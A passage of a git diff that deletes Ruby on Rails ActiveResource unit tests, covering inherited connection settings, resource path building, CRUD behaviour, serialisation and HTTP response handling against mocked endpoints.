-    assert_equal fruit.timeout, apple.timeout, 'subclass did not adopt changes from parent class'
-
-    fruit.timeout = 30
-    assert_equal fruit.timeout, apple.timeout, 'subclass did not adopt changes from parent class'
-  end
-
-  def test_ssl_options_reader_uses_superclass_ssl_options_until_written
-    # Superclass is Object so returns nil.
-    assert_nil ActiveResource::Base.ssl_options
-    assert_nil Class.new(ActiveResource::Base).ssl_options
-    Person.ssl_options = {:foo => 'bar'}
-
-    # Subclass uses superclass ssl_options.
-    actor = Class.new(Person)
-    assert_equal Person.ssl_options, actor.ssl_options
-
-    # Changing subclass ssl_options doesn't change superclass ssl_options.
-    actor.ssl_options = {:baz => ''}
-    assert_not_equal Person.ssl_options, actor.ssl_options
-
-    # Changing superclass ssl_options doesn't overwrite subclass ssl_options.
-    Person.ssl_options = {:color => 'blue'}
-    assert_not_equal Person.ssl_options, actor.ssl_options
-
-    # Changing superclass ssl_options after subclassing changes subclass ssl_options.
-    jester = Class.new(actor)
-    actor.ssl_options = {:color => 'red'}
-    assert_equal actor.ssl_options, jester.ssl_options
-
-    # Subclasses are always equal to superclass ssl_options when not overridden.
-    fruit = Class.new(ActiveResource::Base)
-    apple = Class.new(fruit)
-
-    fruit.ssl_options = {:alpha => 'betas'}
-    assert_equal fruit.ssl_options, apple.ssl_options, 'subclass did not adopt changes from parent class'
-
-    fruit.ssl_options = {:omega => 'moos'}
-    assert_equal fruit.ssl_options, apple.ssl_options, 'subclass did not adopt changes from parent class'
-  end
-
-  def test_updating_baseclass_site_object_wipes_descendent_cached_connection_objects
-    # Subclasses are always equal to superclass site when not overridden
-    fruit = Class.new(ActiveResource::Base)
-    apple = Class.new(fruit)
-
-    fruit.site = 'http://market'
-    assert_equal fruit.connection.site, apple.connection.site
-    first_connection = apple.connection.object_id
-
-    fruit.site = 'http://supermarket'
-    assert_equal fruit.connection.site, apple.connection.site
-    second_connection = apple.connection.object_id
-    assert_not_equal(first_connection, second_connection, 'Connection should be re-created')
-  end
-
-  def test_updating_baseclass_user_wipes_descendent_cached_connection_objects
-    # Subclasses are always equal to superclass user when not overridden
-    fruit = Class.new(ActiveResource::Base)
-    apple = Class.new(fruit)
-    fruit.site = 'http://market'
-
-    fruit.user = 'david'
-    assert_equal fruit.connection.user, apple.connection.user
-    first_connection = apple.connection.object_id
-
-    fruit.user = 'john'
-    assert_equal fruit.connection.user, apple.connection.user
-    second_connection = apple.connection.object_id
-    assert_not_equal(first_connection, second_connection, 'Connection should be re-created')
-  end
-
-  def test_updating_baseclass_password_wipes_descendent_cached_connection_objects
-    # Subclasses are always equal to superclass password when not overridden
-    fruit = Class.new(ActiveResource::Base)
-    apple = Class.new(fruit)
-    fruit.site = 'http://market'
-
-    fruit.password = 'secret'
-    assert_equal fruit.connection.password, apple.connection.password
-    first_connection = apple.connection.object_id
-
-    fruit.password = 'supersecret'
-    assert_equal fruit.connection.password, apple.connection.password
-    second_connection = apple.connection.object_id
-    assert_not_equal(first_connection, second_connection, 'Connection should be re-created')
-  end
-
-  def test_updating_baseclass_timeout_wipes_descendent_cached_connection_objects
-    # Subclasses are always equal to superclass timeout when not overridden
-    fruit = Class.new(ActiveResource::Base)
-    apple = Class.new(fruit)
-    fruit.site = 'http://market'
-
-    fruit.timeout = 5
-    assert_equal fruit.connection.timeout, apple.connection.timeout
-    first_connection = apple.connection.object_id
-
-    fruit.timeout = 10
-    assert_equal fruit.connection.timeout, apple.connection.timeout
-    second_connection = apple.connection.object_id
-    assert_not_equal(first_connection, second_connection, 'Connection should be re-created')
-  end
-
-
-  ########################################################################
-  # Tests for setting up remote URLs for a given model (including adding
-  # parameters appropriately)
-  ########################################################################
-  def test_collection_name
-    assert_equal "people", Person.collection_name
-  end
-
-  def test_collection_path
-    assert_equal '/people.json', Person.collection_path
-  end
-
-  def test_collection_path_with_parameters
-    assert_equal '/people.json?gender=male', Person.collection_path(:gender => 'male')
-    assert_equal '/people.json?gender=false', Person.collection_path(:gender => false)
-    assert_equal '/people.json?gender=', Person.collection_path(:gender => nil)
-
-    assert_equal '/people.json?gender=male', Person.collection_path('gender' => 'male')
-
-    # Use includes? because ordering of param hash is not guaranteed
-    assert Person.collection_path(:gender => 'male', :student => true).include?('/people.json?')
-    assert Person.collection_path(:gender => 'male', :student => true).include?('gender=male')
-    assert Person.collection_path(:gender => 'male', :student => true).include?('student=true')
-
-    assert_equal '/people.json?name%5B%5D=bob&name%5B%5D=your+uncle%2Bme&name%5B%5D=&name%5B%5D=false', Person.collection_path(:name => ['bob', 'your uncle+me', nil, false])
-
-    assert_equal '/people.json?struct%5Ba%5D%5B%5D=2&struct%5Ba%5D%5B%5D=1&struct%5Bb%5D=fred', Person.collection_path(:struct => ActiveSupport::OrderedHash[:a, [2,1], 'b', 'fred'])
-  end
-
-  def test_custom_element_path
-    assert_equal '/people/1/addresses/1.json', StreetAddress.element_path(1, :person_id => 1)
-    assert_equal '/people/1/addresses/1.json', StreetAddress.element_path(1, 'person_id' => 1)
-    assert_equal '/people/Greg/addresses/1.json', StreetAddress.element_path(1, 'person_id' => 'Greg')
-    assert_equal '/people/ann%20mary/addresses/ann%20mary.json', StreetAddress.element_path(:'ann mary', 'person_id' => 'ann mary')
-  end
-
-  def test_custom_element_path_without_required_prefix_param
-    assert_raise ActiveResource::MissingPrefixParam do
-      StreetAddress.element_path(1)
-    end
-  end
-
-  def test_module_element_path
-    assert_equal '/sounds/1.json', Asset::Sound.element_path(1)
-  end
-
-  def test_custom_element_path_with_redefined_to_param
-    Person.module_eval do
-      alias_method :original_to_param_element_path, :to_param
-       def to_param
-         name
-       end
-    end
-
-    # Class method.
-    assert_equal '/people/Greg.json', Person.element_path('Greg')
-
-    # Protected Instance method.
-    assert_equal '/people/Greg.json', Person.find('Greg').send(:element_path)
-
-    ensure
-      # revert back to original
-      Person.module_eval do
-        # save the 'new' to_param so we don't get a warning about discarding the method
-        alias_method :element_path_to_param, :to_param
-        alias_method :to_param, :original_to_param_element_path
-      end
-  end
-
-  def test_custom_element_path_with_parameters
-    assert_equal '/people/1/addresses/1.json?type=work', StreetAddress.element_path(1, :person_id => 1, :type => 'work')
-    assert_equal '/people/1/addresses/1.json?type=work', StreetAddress.element_path(1, 'person_id' => 1, :type => 'work')
-    assert_equal '/people/1/addresses/1.json?type=work', StreetAddress.element_path(1, :type => 'work', :person_id => 1)
-    assert_equal '/people/1/addresses/1.json?type%5B%5D=work&type%5B%5D=play+time', StreetAddress.element_path(1, :person_id => 1, :type => ['work', 'play time'])
-  end
-
-  def test_custom_element_path_with_prefix_and_parameters
-    assert_equal '/people/1/addresses/1.json?type=work', StreetAddress.element_path(1, {:person_id => 1}, {:type => 'work'})
-  end
-
-  def test_custom_collection_path_without_required_prefix_param
-    assert_raise ActiveResource::MissingPrefixParam do
-      StreetAddress.collection_path
-    end
-  end
-
-  def test_custom_collection_path
-    assert_equal '/people/1/addresses.json', StreetAddress.collection_path(:person_id => 1)
-    assert_equal '/people/1/addresses.json', StreetAddress.collection_path('person_id' => 1)
-  end
-
-  def test_custom_collection_path_with_parameters
-    assert_equal '/people/1/addresses.json?type=work', StreetAddress.collection_path(:person_id => 1, :type => 'work')
-    assert_equal '/people/1/addresses.json?type=work', StreetAddress.collection_path('person_id' => 1, :type => 'work')
-  end
-
-  def test_custom_collection_path_with_prefix_and_parameters
-    assert_equal '/people/1/addresses.json?type=work', StreetAddress.collection_path({:person_id => 1}, {:type => 'work'})
-  end
-
-  def test_custom_element_name
-    assert_equal 'address', StreetAddress.element_name
-  end
-
-  def test_custom_collection_name
-    assert_equal 'addresses', StreetAddress.collection_name
-  end
-
-  def test_prefix
-    assert_equal "/", Person.prefix
-    assert_equal Set.new, Person.__send__(:prefix_parameters)
-  end
-
-  def test_set_prefix
-    SetterTrap.rollback_sets(Person) do |person_class|
-      person_class.prefix = "the_prefix"
-      assert_equal "the_prefix", person_class.prefix
-    end
-  end
-
-  def test_set_prefix_with_inline_keys
-    SetterTrap.rollback_sets(Person) do |person_class|
-      person_class.prefix = "the_prefix:the_param"
-      assert_equal "the_prefixthe_param_value", person_class.prefix(:the_param => "the_param_value")
-    end
-  end
-
-  def test_set_prefix_twice_should_clear_params
-    SetterTrap.rollback_sets(Person) do |person_class|
-      person_class.prefix = "the_prefix/:the_param1"
-      assert_equal Set.new([:the_param1]), person_class.prefix_parameters
-      person_class.prefix = "the_prefix/:the_param2"
-      assert_equal Set.new([:the_param2]), person_class.prefix_parameters
-      person_class.prefix = "the_prefix/:the_param1/other_prefix/:the_param2"
-      assert_equal Set.new([:the_param2, :the_param1]), person_class.prefix_parameters
-    end
-  end
-
-  def test_set_prefix_with_default_value
-    SetterTrap.rollback_sets(Person) do |person_class|
-      person_class.set_prefix
-      assert_equal "/", person_class.prefix
-    end
-  end
-
-  def test_custom_prefix
-    assert_equal '/people//', StreetAddress.prefix
-    assert_equal '/people/1/', StreetAddress.prefix(:person_id => 1)
-    assert_equal [:person_id].to_set, StreetAddress.__send__(:prefix_parameters)
-  end
-
-
-  ########################################################################
-  # Tests basic CRUD functions (find/save/create etc)
-  ########################################################################
-  def test_respond_to
-    matz = Person.find(1)
-    assert_respond_to matz, :name
-    assert_respond_to matz, :name=
-    assert_respond_to matz, :name?
-    assert !matz.respond_to?(:super_scalable_stuff)
-  end
-
-  def test_custom_header
-    Person.headers['key'] = 'value'
-    assert_raise(ActiveResource::ResourceNotFound) { Person.find(4) }
-  ensure
-    Person.headers.delete('key')
-  end
-
-  def test_save
-    rick = Person.new
-    assert rick.save
-    assert_equal '5', rick.id
-  end
-
-  def test_save!
-    rick = Person.new
-    assert rick.save!
-    assert_equal '5', rick.id
-  end
-
-  def test_id_from_response
-    p = Person.new
-    resp = {'Location' => '/foo/bar/1'}
-    assert_equal '1', p.__send__(:id_from_response, resp)
-
-    resp['Location'] << '.json'
-    assert_equal '1', p.__send__(:id_from_response, resp)
-  end
-
-  def test_id_from_response_without_location
-    p = Person.new
-    resp = {}
-    assert_nil p.__send__(:id_from_response, resp)
-  end
-
-  def test_not_persisted_with_no_body_and_positive_content_length
-    resp = ActiveResource::Response.new(nil)
-    resp['Content-Length'] = "100"
-    Person.connection.expects(:post).returns(resp)
-    assert !Person.create.persisted?
-  end
-
-  def test_not_persisted_with_body_and_zero_content_length
-    resp = ActiveResource::Response.new(@rick)
-    resp['Content-Length'] = "0"
-    Person.connection.expects(:post).returns(resp)
-    assert !Person.create.persisted?
-  end
-
-  # These response codes aren't allowed to have bodies per HTTP spec
-  def test_not_persisted_with_empty_response_codes
-    [100,101,204,304].each do |status_code|
-      resp = ActiveResource::Response.new(@rick, status_code)
-      Person.connection.expects(:post).returns(resp)
-      assert !Person.create.persisted?
-    end
-  end
-
-  # Content-Length is not required by HTTP 1.1, so we should read
-  # the body anyway in its absence.
-  def test_persisted_with_no_content_length
-    resp = ActiveResource::Response.new(@rick)
-    resp['Content-Length'] = nil
-    Person.connection.expects(:post).returns(resp)
-    assert Person.create.persisted?
-  end
-
-  def test_create_with_custom_prefix
-    matzs_house = StreetAddress.new(:person_id => 1)
-    matzs_house.save
-    assert_equal '5', matzs_house.id
-  end
-
-  # Test that loading a resource preserves its prefix_options.
-  def test_load_preserves_prefix_options
-    address = StreetAddress.find(1, :params => { :person_id => 1 })
-    ryan = Person.new(:id => 1, :name => 'Ryan', :address => address)
-    assert_equal address.prefix_options, ryan.address.prefix_options
-  end
-
-  def test_reload_works_with_prefix_options
-    address = StreetAddress.find(1, :params => { :person_id => 1 })
-    assert_equal address, address.reload
-  end
-
-  def test_reload_with_redefined_to_param
-    Person.module_eval do
-      alias_method :original_to_param_reload, :to_param
-       def to_param
-         name
-       end
-    end
-
-    person = Person.find('Greg')
-    assert_equal person, person.reload
-
-    ensure
-      # revert back to original
-      Person.module_eval do
-        # save the 'new' to_param so we don't get a warning about discarding the method
-        alias_method :reload_to_param, :to_param
-        alias_method :to_param, :original_to_param_reload
-      end
-  end
-
-  def test_reload_works_without_prefix_options
-    person = Person.find(:first)
-    assert_equal person, person.reload
-  end
-
-  def test_create
-    rick = Person.create(:name => 'Rick')
-    assert rick.valid?
-    assert !rick.new?
-    assert_equal '5', rick.id
-
-    # test additional attribute returned on create
-    assert_equal 25, rick.age
-
-    # Test that save exceptions get bubbled up too
-    ActiveResource::HttpMock.respond_to do |mock|
-      mock.post   "/people.json", {}, nil, 409
-    end
-    assert_raise(ActiveResource::ResourceConflict) { Person.create(:name => 'Rick') }
-  end
-
-  def test_create_without_location
-    ActiveResource::HttpMock.respond_to do |mock|
-      mock.post   "/people.json", {}, nil, 201
-    end
-    person = Person.create(:name => 'Rick')
-    assert_nil person.id
-  end
-
-  def test_clone
-    matz = Person.find(1)
-    matz_c = matz.clone
-    assert matz_c.new?
-    matz.attributes.each do |k, v|
-      assert_equal v, matz_c.send(k) if k != Person.primary_key
-    end
-  end
-
-  def test_nested_clone
-    addy = StreetAddress.find(1, :params => {:person_id => 1})
-    addy_c = addy.clone
-    assert addy_c.new?
-    addy.attributes.each do |k, v|
-      assert_equal v, addy_c.send(k) if k != StreetAddress.primary_key
-    end
-    assert_equal addy.prefix_options, addy_c.prefix_options
-  end
-
-  def test_complex_clone
-    matz = Person.find(1)
-    matz.address = StreetAddress.find(1, :params => {:person_id => matz.id})
-    matz.non_ar_hash = {:not => "an ARes instance"}
-    matz.non_ar_arr = ["not", "ARes"]
-    matz_c = matz.clone
-    assert matz_c.new?
-    assert_raise(NoMethodError) {matz_c.address}
-    assert_equal matz.non_ar_hash, matz_c.non_ar_hash
-    assert_equal matz.non_ar_arr, matz_c.non_ar_arr
-
-    # Test that actual copy, not just reference copy
-    matz.non_ar_hash[:not] = "changed"
-    assert_not_equal matz.non_ar_hash, matz_c.non_ar_hash
-  end
-
-  def test_update
-    matz = Person.find(:first)
-    matz.name = "David"
-    assert_kind_of Person, matz
-    assert_equal "David", matz.name
-    assert_equal true, matz.save
-  end
-
-  def test_update_with_custom_prefix_with_specific_id
-    addy = StreetAddress.find(1, :params => { :person_id => 1 })
-    addy.street = "54321 Street"
-    assert_kind_of StreetAddress, addy
-    assert_equal "54321 Street", addy.street
-    addy.save
-  end
-
-  def test_update_with_custom_prefix_without_specific_id
-    addy = StreetAddress.find(:first, :params => { :person_id => 1 })
-    addy.street = "54321 Lane"
-    assert_kind_of StreetAddress, addy
-    assert_equal "54321 Lane", addy.street
-    addy.save
-  end
-
-  def test_update_conflict
-    ActiveResource::HttpMock.respond_to do |mock|
-      mock.get "/people/2.json", {}, @david
-      mock.put "/people/2.json", @default_request_headers, nil, 409
-    end
-    assert_raise(ActiveResource::ResourceConflict) { Person.find(2).save }
-  end
-
-
-  ######
-  # update_attribute(s)(!)
-
-  def test_update_attribute_as_symbol
-    matz = Person.first
-    matz.expects(:save).returns(true)
-
-    assert_equal "Matz", matz.name
-    assert matz.update_attribute(:name, "David")
-    assert_equal "David", matz.name
-  end
-
-  def test_update_attribute_as_string
-    matz = Person.first
-    matz.expects(:save).returns(true)
-
-    assert_equal "Matz", matz.name
-    assert matz.update_attribute('name', "David")
-    assert_equal "David", matz.name
-  end
-
-
-  def test_update_attributes_as_symbols
-    addy = StreetAddress.first(:params => {:person_id => 1})
-    addy.expects(:save).returns(true)
-
-    assert_equal "12345 Street", addy.street
-    assert_equal "Australia", addy.country
-    assert addy.update_attributes(:street => '54321 Street', :country => 'USA')
-    assert_equal "54321 Street", addy.street
-    assert_equal "USA", addy.country
-  end
-
-  def test_update_attributes_as_strings
-    addy = StreetAddress.first(:params => {:person_id => 1})
-    addy.expects(:save).returns(true)
-
-    assert_equal "12345 Street", addy.street
-    assert_equal "Australia", addy.country
-    assert addy.update_attributes('street' => '54321 Street', 'country' => 'USA')
-    assert_equal "54321 Street", addy.street
-    assert_equal "USA", addy.country
-  end
-
-
-  #####
-  # Mayhem and destruction
-
-  def test_destroy
-    assert Person.find(1).destroy
-    ActiveResource::HttpMock.respond_to do |mock|
-      mock.get "/people/1.json", {}, nil, 404
-    end
-    assert_raise(ActiveResource::ResourceNotFound) { Person.find(1).destroy }
-  end
-
-  def test_destroy_with_custom_prefix
-    assert StreetAddress.find(1, :params => { :person_id => 1 }).destroy
-    ActiveResource::HttpMock.respond_to do |mock|
-      mock.get "/people/1/addresses/1.json", {}, nil, 404
-    end
-    assert_raise(ActiveResource::ResourceNotFound) { StreetAddress.find(1, :params => { :person_id => 1 }) }
-  end
-
-  def test_destroy_with_410_gone
-    assert Person.find(1).destroy
-    ActiveResource::HttpMock.respond_to do |mock|
-      mock.get "/people/1.json", {}, nil, 410
-    end
-    assert_raise(ActiveResource::ResourceGone) { Person.find(1).destroy }
-  end
-
-  def test_delete
-    assert Person.delete(1)
-    ActiveResource::HttpMock.respond_to do |mock|
-      mock.get "/people/1.json", {}, nil, 404
-    end
-    assert_raise(ActiveResource::ResourceNotFound) { Person.find(1) }
-  end
-
-  def test_delete_with_custom_prefix
-    assert StreetAddress.delete(1, :person_id => 1)
-    ActiveResource::HttpMock.respond_to do |mock|
-      mock.get "/people/1/addresses/1.json", {}, nil, 404
-    end
-    assert_raise(ActiveResource::ResourceNotFound) { StreetAddress.find(1, :params => { :person_id => 1 }) }
-  end
-
-  def test_delete_with_410_gone
-    assert Person.delete(1)
-    ActiveResource::HttpMock.respond_to do |mock|
-      mock.get "/people/1.json", {}, nil, 410
-    end
-    assert_raise(ActiveResource::ResourceGone) { Person.find(1) }
-  end
-
-  ########################################################################
-  # Tests the more miscellaneous helper methods
-  ########################################################################
-  def test_exists
-    # Class method.
-    assert !Person.exists?(nil)
-    assert Person.exists?(1)
-    assert !Person.exists?(99)
-
-    # Instance method.
-    assert !Person.new.exists?
-    assert Person.find(1).exists?
-    assert !Person.new(:id => 99).exists?
-
-    # Nested class method.
-    assert StreetAddress.exists?(1,  :params => { :person_id => 1 })
-    assert !StreetAddress.exists?(1, :params => { :person_id => 2 })
-    assert !StreetAddress.exists?(2, :params => { :person_id => 1 })
-
-    # Nested instance method.
-    assert StreetAddress.find(1, :params => { :person_id => 1 }).exists?
-    assert !StreetAddress.new({:id => 1, :person_id => 2}).exists?
-    assert !StreetAddress.new({:id => 2, :person_id => 1}).exists?
-  end
-
-  def test_exists_with_redefined_to_param
-    Person.module_eval do
-      alias_method :original_to_param_exists, :to_param
-      def to_param
-        name
-      end
-    end
-
-    # Class method.
-    assert Person.exists?('Greg')
-
-    # Instance method.
-    assert Person.find('Greg').exists?
-
-    # Nested class method.
-    assert StreetAddress.exists?(1,  :params => { :person_id => Person.find('Greg').to_param })
-
-    # Nested instance method.
-    assert StreetAddress.find(1, :params => { :person_id => Person.find('Greg').to_param }).exists?
-
-  ensure
-    # revert back to original
-    Person.module_eval do
-      # save the 'new' to_param so we don't get a warning about discarding the method
-      alias_method :exists_to_param, :to_param
-      alias_method :to_param, :original_to_param_exists
-    end
-  end
-
-  def test_exists_without_http_mock
-    http = Net::HTTP.new(Person.site.host, Person.site.port)
-    ActiveResource::Connection.any_instance.expects(:http).returns(http)
-    http.expects(:request).returns(ActiveResource::Response.new(""))
-
-    assert Person.exists?('not-mocked')
-  end
-
-  def test_exists_with_410_gone
-    ActiveResource::HttpMock.respond_to do |mock|
-      mock.head "/people/1.json", {}, nil, 410
-    end
-
-    assert !Person.exists?(1)
-  end
-
-  def test_to_xml
-    Person.format = :xml
-    matz = Person.find(1)
-    encode = matz.encode
-    xml = matz.to_xml
-
-    assert_equal encode, xml
-    assert xml.include?('<?xml version="1.0" encoding="UTF-8"?>')
-    assert xml.include?('<name>Matz</name>')
-    assert xml.include?('<id type="integer">1</id>')
-  ensure
-    Person.format = :json
-  end
-
-  def test_to_xml_with_element_name
-    Person.format = :xml
-    old_elem_name = Person.element_name
-    matz = Person.find(1)
-    Person.element_name = 'ruby_creator'
-    encode = matz.encode
-    xml = matz.to_xml
-
-    assert_equal encode, xml
-    assert xml.include?('<?xml version="1.0" encoding="UTF-8"?>')
-    assert xml.include?('<ruby-creator>')
-    assert xml.include?('<name>Matz</name>')
-    assert xml.include?('<id type="integer">1</id>')
-    assert xml.include?('</ruby-creator>')
-  ensure
-    Person.format = :json
-    Person.element_name = old_elem_name
-  end
-
-  def test_to_xml_with_private_method_name_as_attribute
-    Person.format = :xml
-
-    customer = Customer.new(:foo => "foo")
-    customer.singleton_class.class_eval do
-      def foo
-        "bar"
-      end
-      private :foo
-    end
-
-    assert !customer.to_xml.include?("<foo>bar</foo>")
-    assert customer.to_xml.include?("<foo>foo</foo>")
-  ensure
-    Person.format = :json
-  end
-
-  def test_to_json
-    Person.include_root_in_json = true
-    joe = Person.find(6)
-    encode = joe.encode
-    json = joe.to_json
-
-    assert_equal encode, json
-    assert_match %r{^\{"person":\{}, json
-    assert_match %r{"id":6}, json
-    assert_match %r{"name":"Joe"}, json
-    assert_match %r{\}\}$}, json
-  end
-
-  def test_to_json_with_element_name
-    old_elem_name = Person.element_name
-    Person.include_root_in_json = true
-    joe = Person.find(6)
-    Person.element_name = 'ruby_creator'
-    encode = joe.encode
-    json = joe.to_json
-
-    assert_equal encode, json
-    assert_match %r{^\{"ruby_creator":\{}, json
-    assert_match %r{"id":6}, json
-    assert_match %r{"name":"Joe"}, json
-    assert_match %r{\}\}$}, json
-  ensure
-    Person.element_name = old_elem_name
-  end
-
-  def test_to_param_quacks_like_active_record
-    new_person = Person.new
-    assert_nil new_person.to_param
-    matz = Person.find(1)
-    assert_equal '1', matz.to_param
-  end
-
-  def test_to_key_quacks_like_active_record
-    new_person = Person.new
-    assert_nil new_person.to_key
-    matz = Person.find(1)
-    assert_equal [1], matz.to_key
-  end
-
-  def test_parse_deep_nested_resources
-    luis = Customer.find(1)
-    assert_kind_of Customer, luis
-    luis.friends.each do |friend|
-      assert_kind_of Customer::Friend, friend
-      friend.brothers.each do |brother|
-        assert_kind_of Customer::Friend::Brother, brother
-        brother.children.each do |child|
-          assert_kind_of Customer::Friend::Brother::Child, child
-        end
-      end
-    end
-  end
-
-  def test_load_yaml_array
-    assert_nothing_raised do
-      Person.format = :xml
-      marty = Person.find(5)
-      assert_equal 3, marty.colors.size
-      marty.colors.each do |color|
-        assert_kind_of String, color
-      end
-    end
-  ensure
-    Person.format = :json
-  end
-
-  def test_with_custom_formatter
-    addresses = [{ :id => "1", :street => "1 Infinite Loop", :city => "Cupertino", :state => "CA" }].to_xml(:root => :addresses)
-
-    ActiveResource::HttpMock.respond_to do |mock|
-      mock.get "/addresses.xml", {}, addresses, 200
-    end
-
-    # late bind the site
-    AddressResource.site = "http://localhost"
-    addresses = AddressResource.find(:all)
-
-    assert_equal "Cupertino, CA", addresses.first.city_state
-  end
-
-  def test_create_with_custom_primary_key
-    silver_plan = { :plan => { :code => "silver", :price => 5.00 } }.to_json
-
-    ActiveResource::HttpMock.respond_to do |mock|
-      mock.post "/plans.json", {}, silver_plan, 201, 'Location' => '/plans/silver.json'
-    end
-
-    plan = SubscriptionPlan.new(:code => "silver", :price => 5.00)
-    assert plan.new?
-
-    plan.save!
-    assert !plan.new?
-  end
-
-  def test_update_with_custom_primary_key
-    silver_plan = { :plan => { :code => "silver", :price => 5.00 } }.to_json
-    silver_plan_updated = { :plan => { :code => "silver", :price => 10.00 } }.to_json
-
-    ActiveResource::HttpMock.respond_to do |mock|
-      mock.get "/plans/silver.json", {}, silver_plan
-      mock.put "/plans/silver.json", {}, silver_plan_updated, 201, 'Location' => '/plans/silver.json'
-    end
-
-    plan = SubscriptionPlan.find("silver")
-    assert !plan.new?
-    assert_equal 5.00, plan.price
-
-    # update price
-    plan.price = 10.00
-    plan.save!
-    assert_equal 10.00, plan.price
-  end
-
-  def test_namespacing
-    sound = Asset::Sound.find(1)
-    assert_equal "Asset::Sound::Author", sound.author.class.to_s
-  end
-end
diff --git a/activeresource/test/cases/connection_test.rb b/activeresource/test/cases/connection_test.rb
deleted file mode 100644
index 535107aeef..0000000000
--- a/activeresource/test/cases/connection_test.rb
+++ /dev/null
@@ -1,276 +0,0 @@
-require 'abstract_unit'
-
-class ConnectionTest < Test::Unit::TestCase
-  ResponseCodeStub = Struct.new(:code)
-  RedirectResponseStub = Struct.new(:code, :Location)
-
-  def setup
-    @conn = ActiveResource::Connection.new('http://localhost')
-    matz  = { :person => { :id => 1, :name => 'Matz' } }
-    david = { :person => { :id => 2, :name => 'David' } }
-    @people = { :people => [ matz, david ] }.to_json
-    @people_single = { 'people-single-elements' => [ matz ] }.to_json
-    @people_empty = { 'people-empty-elements' => [ ] }.to_json
-    @matz  = matz.to_json
-    @david = david.to_json
-    @header = { 'key' => 'value' }.freeze
-
-    @default_request_headers = { 'Content-Type' => 'application/json' }
-    ActiveResource::HttpMock.respond_to do |mock|
-      mock.get    "/people/2.json", @header, @david
-      mock.get    "/people.json", {}, @people
-      mock.get    "/people_single_elements.json", {}, @people_single
-      mock.get    "/people_empty_elements.json", {}, @people_empty
-      mock.get    "/people/1.json", {}, @matz
-      mock.put    "/people/1.json", {}, nil, 204
-      mock.put    "/people/2.json", {}, @header, 204
-      mock.delete "/people/1.json", {}, nil, 200
-      mock.delete "/people/2.json", @header, nil, 200
-      mock.post   "/people.json",   {}, nil, 201, 'Location' => '/people/5.json'
-      mock.post   "/members.json",  {}, @header, 201, 'Location' => '/people/6.json'
-      mock.head   "/people/1.json", {}, nil, 200
-    end
-  end
-
-  def test_handle_response
-    # 2xx and 3xx are valid responses.
-    [200, 299, 300, 399].each do |code|
-      expected = ResponseCodeStub.new(code)
-      assert_equal expected, handle_response(expected)
-    end
-
-    # 301 is moved permanently (redirect)
-    assert_redirect_raises 301
-
-    # 302 is found (redirect)
-    assert_redirect_raises 302
-
-    # 303 is see other (redirect)
-    assert_redirect_raises 303
-
-    # 307 is temporary redirect
-    assert_redirect_raises 307
-
-    # 400 is a bad request (e.g. malformed URI or missing request parameter)
-    assert_response_raises ActiveResource::BadRequest, 400
-
-    # 401 is an unauthorized request
-    assert_response_raises ActiveResource::UnauthorizedAccess, 401
-
-    # 403 is a forbidden request (and authorizing will not help)
-    assert_response_raises ActiveResource::ForbiddenAccess, 403
-
-    # 404 is a missing resource.
-    assert_response_raises ActiveResource::ResourceNotFound, 404
-
-    # 405 is a method not allowed error
-    assert_response_raises ActiveResource::MethodNotAllowed, 405
-
-    # 409 is an optimistic locking error
-    assert_response_raises ActiveResource::ResourceConflict, 409
-
-    # 410 is a removed resource
-    assert_response_raises ActiveResource::ResourceGone, 410
-
-    # 422 is a validation error
-    assert_response_raises ActiveResource::ResourceInvalid, 422
-
-    # 4xx are client errors.
-    [402, 499].each do |code|
-      assert_response_raises ActiveResource::ClientError, code
-    end
-
-    # 5xx are server errors.
-    [500, 599].each do |code|
-      assert_response_raises ActiveResource::ServerError, code
-    end
-
-    # Others are unknown.
-    [199, 600].each do |code|
-      assert_response_raises ActiveResource::ConnectionError, code
-    end
-  end
-
-  ResponseHeaderStub = Struct.new(:code, :message, 'Allow')
-  def test_should_return_allowed_methods_for_method_no_allowed_exception
-    begin
-      handle_response ResponseHeaderStub.new(405, "HTTP Failed...", "GET, POST")
-    rescue ActiveResource::MethodNotAllowed => e
-      assert_equal "Failed.  Response code = 405.  Response message = HTTP Failed....", e.message
-      assert_equal [:get, :post], e.allowed_methods
-    end
-  end
-
-  def test_initialize_raises_argument_error_on_missing_site
-    assert_raise(ArgumentError) { ActiveResource::Connection.new(nil) }
-  end
-
-  def test_site_accessor_accepts_uri_or_string_argument
-    site = URI.parse("http://localhost")
-
-    assert_raise(URI::InvalidURIError) { @conn.site = nil }
-
-    assert_nothing_raised { @conn.site = "http://localhost" }
-    assert_equal site, @conn.site
-
-    assert_nothing_raised { @conn.site = site }
-    assert_equal site, @conn.site
-  end
-
-  def test_proxy_accessor_accepts_uri_or_string_argument
-    proxy = URI.parse("http://proxy_user:proxy_password@proxy.local:4242")
-
-    assert_nothing_raised { @conn.proxy = "http://proxy_user:proxy_password@proxy.local:4242" }
-    assert_equal proxy, @conn.proxy
-
-    assert_nothing_raised { @conn.proxy = proxy }
-    assert_equal proxy, @conn.proxy
-  end
-
-  def test_timeout_accessor
-    @conn.timeout = 5
-    assert_equal 5, @conn.timeout
-  end
-
-  def test_get
-    matz = decode(@conn.get("/people/1.json"))
-    assert_equal "Matz", matz["name"]
-  end
-
-  def test_head
-    response = @conn.head("/people/1.json")
-    assert response.body.blank?
-    assert_equal 200, response.code
-  end
-
-  def test_get_with_header
-    david = decode(@conn.get("/people/2.json", @header))
-    assert_equal "David", david["name"]
-  end
-
-  def test_get_collection
-    people = decode(@conn.get("/people.json"))
-    assert_equal "Matz", people[0]["person"]["name"]
-    assert_equal "David", people[1]["person"]["name"]
-  end
-
-  def test_get_collection_single
-    people = decode(@conn.get("/people_single_elements.json"))
-    assert_equal "Matz", people[0]["person"]["name"]
-  end
-
-  def test_get_collection_empty
-    people = decode(@conn.get("/people_empty_elements.json"))
-    assert_equal [], people
-  end
-
-  def test_post
-    response = @conn.post("/people.json")
-    assert_equal "/people/5.json", response["Location"]
-  end
-
-  def test_post_with_header
-    response = @conn.post("/members.json", @header)
-    assert_equal "/people/6.json", response["Location"]
-  end
-
-  def test_put
-    response = @conn.put("/people/1.json")
-    assert_equal 204, response.code
-  end
-
-  def test_put_with_header
-    response = @conn.put("/people/2.json", @header)
-    assert_equal 204, response.code
-  end
-
-  def test_delete
-    response = @conn.delete("/people/1.json")
-    assert_equal 200, response.code
-  end
-
-  def test_delete_with_header
-    response = @conn.delete("/people/2.json", @header)
-    assert_equal 200, response.code
-  end
-
-  def test_timeout
-    @http = mock('new Net::HTTP')
-    @conn.expects(:http).returns(@http)
-    @http.expects(:get).raises(Timeout::Error, 'execution expired')
-    assert_raise(ActiveResource::TimeoutError) { @conn.get('/people_timeout.json') }
-  end
-
